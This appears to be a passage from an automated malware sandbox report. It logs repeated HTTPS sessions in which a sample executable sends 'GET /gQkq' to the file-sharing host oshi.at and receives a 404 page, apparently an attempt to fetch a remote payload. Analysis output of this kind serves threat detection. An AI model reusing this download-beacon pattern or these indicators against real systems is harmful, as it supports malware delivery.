                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                25192.168.2.950003194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:28 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:28 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:28 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:28 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                26192.168.2.950004194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:30 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:30 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:30 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:30 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                27192.168.2.950005194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:34 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:35 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:35 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:35 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                28192.168.2.950006194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:36 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:37 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:37 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:37 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                29192.168.2.950007194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:38 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:38 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:38 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:38 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                30192.168.2.950008194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:39 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:40 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:40 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:40 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                31192.168.2.950009194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:41 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:42 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:42 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:42 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                32192.168.2.950010194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:43 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:44 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:43 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:44 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                33192.168.2.950011194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:45 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:46 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:45 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:46 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                34192.168.2.950012194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:47 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:47 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:47 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:47 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                35192.168.2.950013194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:49 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:50 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:50 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:50 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                36192.168.2.950014194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:51 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:53 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:53 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:53 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                37192.168.2.950015194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:54 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:55 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:55 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:55 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                38192.168.2.950016194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:56 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:57 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:57 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
                                                                2025-01-10 17:50:57 UTC1849INData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70
                                                                Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up


                                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                39192.168.2.950017194.15.112.2484437668C:\Users\user\Desktop\MWP0FO5rAF.exe
                                                                TimestampBytes transferredDirectionData
                                                                2025-01-10 17:50:58 UTC37OUTGET /gQkq HTTP/1.1
                                                                Host: oshi.at
                                                                2025-01-10 17:50:59 UTC158INHTTP/1.1 404 Not Found
                                                                Server: nginx
                                                                Date: Fri, 10 Jan 2025 17:50:58 GMT
                                                                Content-Type: text/html;charset=UTF-8
                                                                Content-Length: 1849
                                                                Connection: close
